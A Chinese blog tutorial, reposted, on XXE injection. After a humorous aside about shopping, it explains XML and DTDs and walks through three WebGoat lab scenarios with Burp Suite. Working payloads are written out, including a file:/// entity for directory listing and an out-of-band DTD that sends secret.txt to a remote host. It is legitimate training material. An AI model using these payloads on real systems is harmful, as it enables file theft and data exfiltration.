S-SDLC知识库09 | XML外部实体注入攻击漏洞复现!OWASP-XXE
Posted 啪哒网安加学院
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了S-SDLC知识库09 | XML外部实体注入攻击漏洞复现!OWASP-XXE相关的知识,希望对你有一定的参考价值。
Hello,我是想与大家交个朋友的啪仔。
今天你被消费主义语录洗脑了吗?
双11将近,又到了诱导消费文案诈尸的日子,比如:
“别替老公省钱,你省出的钱,他早晚花在别的女人身上。”
——有道理,也劝你别给老公生孩子,因为你生的孩子也不一定是他的。
“女人的衣橱永远少一件衣服。”
——我的存款永远少一个零,知道为啥吗?都TM被你们赚走了!
“遇到喜欢的东西就买下来,钱不是真的花掉了,而是换了另一种形式陪在你身边。”
——当然,它换成了花呗欠款的形式陪我好几年呢~
图片来源于知乎用户魔性养生90后
算了,也不给大家添堵了,啪仔主要是希望大家不要上了消费主义的当,该买的买,不该买的就让它们在商家的仓库里积灰吧。
有那时间和精力不如学点知识,毕竟,“人的脑子里永远有一个知识盲区。”
今天啪仔跟大家聊聊XML外部实体注入攻击-XXE。
1.1 XML简介
要想了解XXE漏洞,首先要明白基础知识,了解XML文档的基础组成。XML是用来标记电子文件,从而使该文件具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言。
XML文档结构包括XML声明、DTD:Document Type Definition,即文档类型定义、文档元素。DTD用来为XML文档定义语义约束。DTD 可以嵌在 XML 文档内声明(内部声明),也可以独立的放在另外一个单独的文件中(外部引用)。
1.2 XML外部实体攻击(XML External Entity)简介
当允许引用外部实体时,通过构造恶意内容,可导致读取任意文件、执行系统命令、探测内网端口、攻击内网网站等危害。
1.3 XML外部实体注入攻击原理
在XML文档中有些包含system标识符定义的“实体”,关键字"system"会告诉XML解析器,实体的值将从url中读取,并允许它在XML文档中被替换。因此,攻击者可以通过实体将他自定义的值发送给应用程序,然后让应用程序去呈现出来。也就是说,攻击者强制XML解析器去访问攻击者指定的资源内容(可能是系统本地文件或者是远程系统的文件)。
1.4 漏洞类型
(1)基础的XXE注入— 外部实体注入本地DTD;
(2)基于盲注的XXE注入—XML解析器在响应中不显示任何错误;
(3)基于错误的XXE注入—成功解析之后,XML解析器始终显示SAME响应。(即“您的消息已被接收”),因此,我们可能希望解析器将文件的内容“打印”到错误响应中。
2.1 攻击场景一
(1)要求通过添加评论来进行XML外部实体注入列出根目录,在输入框中随意评论,并点击Submit:
(2)打开burpsuite进行抓包
浏览器使用火狐,并添加代理工具,在使用burpsuite进行抓包的时候打开代理
操作步骤:在Proxy->HTTP history中点击选择
http://192.168.154.140:8080/WebGoat/xxe/simple;
出现下方内容后点击空白区域,右键,选择Send to Repeater,看到上方Repeater变颜色了即可
(3)在Repeater中构造
根据上图中抓包的结果看到提交的实际上是一个xml,那么就可以直接构造我们需要注入的xml,把xml中的语句进行替换。
构造前:
构造后:
点击Go,查看响应发现成功了
(4)返回靶场界面,再次点击Submit,出现根目录:
将根目录复制粘贴到输入框中,点击submit:
2.2 攻击场景二
(1)这个攻击场景的要求和攻击场景一一样,都是通过提交评论来实现XXE外部实体注入,只是这里提到服务器用的是REST框架,接收到的json数据格式而不是XML。输入任意字符并点击Submit:
(2)利用burpsuite进行抓包,开启拦截模式:Intercept is on
在拦截的包中找到以下包:/WebGoat/xxe/content-type
显示提交的是json
(3)修改发送请求
把content-type中的application/json改为application/xml;
并发送xml数据:
<?xml version="1.0"?>
<!DOCTYPE comment [
<!ENTITY xxe SYSTEM "file:///">]>
<comment><text>&xxe;</text></comment>
(4)点击Forward进行放包,成功
2.3 攻击场景三
(1)拿到指定目录中的txt文件,并通过将其上传到自己的服务器上(下面使用WebWolf),读取其中的内容,也就是读取指定目录下的secret.txt文件里面的内容。
任意输入字符,点击submit
(2)首先创建一个.txt文件,将以下内容复制粘贴进去,保存后将后缀修改为.dtd文件
<!ENTITY % payload "<!ENTITY attack SYSTEM 'http://192.168.2.140:9090/landing?text=%file;'>">
修改后缀显示结果:
(3)上传到webwolf中
(注意:根据靶场环境,在这之前需要先在虚拟机中运行webwolf)
点击“添加”选中文件->点击UPload files上传文件
(4)打开burpsuite查看抓包情况
(5)修改发送请求:
<?xml version="1.0"?>
<!DOCTYPE root [
<!ENTITY % file SYSTEM "file://///root/.webgoat-8.1.0//XXE/secret.txt">
<!ENTITY % test SYSTEM "http://192.168.2.140:9090/files/seczone/xxe6.dtd">
%test;
%payload;
]>
<comment> <text>&attack;</text></comment>
虽然响应是错误的,但是这时候webwolf已经收到请求了,我们打开webwolf查看情况
WebGoat%208.0%20rocks...%20(FVpHxOgrKx)"
红框中的内容就是secret.txt文件里面的内容,我们还要将其进行url解码,%20的url解码就是一个空格,所以解码后的结果为:WebGoat 8.0 rocks... (FVpHxOgrKx)"
(5)输入结果:成功
以上部分内容来源于网络
以上是关于S-SDLC知识库09 | XML外部实体注入攻击漏洞复现!OWASP-XXE的主要内容,如果未能解决你的问题,请参考以下文章